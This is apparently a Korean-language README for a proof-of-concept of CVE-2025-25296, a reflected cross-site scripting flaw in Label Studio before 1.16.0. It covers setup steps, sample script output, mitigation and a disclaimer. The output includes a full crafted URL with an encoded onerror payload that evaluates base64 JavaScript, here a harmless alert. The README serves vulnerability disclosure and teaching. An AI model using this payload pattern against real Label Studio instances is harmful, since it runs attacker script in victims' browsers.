
Proof of Concept (POC) for the CVE-2025-25296 vulnerability affecting Label Studio versions prior to 1.16.0
이 프로젝트는 오픈소스 데이터 라벨링 도구인 Label Studio에 영향을 미치는 CVE-2025-25296 취약점에 대한 개념 증명(POC)을 시연합니다. 해당 취약점은 /projects/upload-example 엔드포인트에 존재하며, GET 요청에서 사용자가 제공한 HTML 콘텐츠를 정화(샌니타이즈)하지 못합니다. 이로 인해 공격자가 피해자의 브라우저에서 임의의 JavaScript를 실행할 수 있으며, 잠재적인 크로스사이트 스크립팅(XSS) 공격으로 이어질 수 있습니다.
/projects/upload-example 엔드포인트1.16.0 이상 버전으로 업데이트임시 해결 방법으로는:
/projects/upload-example 엔드포인트를 사용하지 마십시오.setup.sh를 사용하여 pip로 설치)poc.py: 취약점을 악용하고 XSS 공격을 시연하는 Python 스크립트.setup.sh: Docker를 사용하여 취약한 환경을 설정하는 스크립트.이 저장소를 클론합니다:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
설정 스크립트를 실행합니다:
chmod +x setup.sh
./setup.sh
설정 스크립트는 다음을 수행합니다:
1.15.0)를 가져옵니다.localhost:8080에서 실행합니다.악용 스크립트를 실행합니다:
python poc.py
스크립트는 다음을 수행합니다:
/projects/upload-example 엔드포인트에 제작된 GET 요청을 전송합니다.제공된 URL을 웹 브라우저에서 열어 페이로드에 의해 트리거된 XSS 알림을 확인합니다.
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
이 취약점을 완화하려면:
1.16.0 이상 버전으로 업데이트하십시오.이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 책임감 있게 사용하고 명시적 권한이 있는 시스템에서만 사용하십시오. 이 도구의 무단 사용은 관련 법률을 위반할 수 있습니다.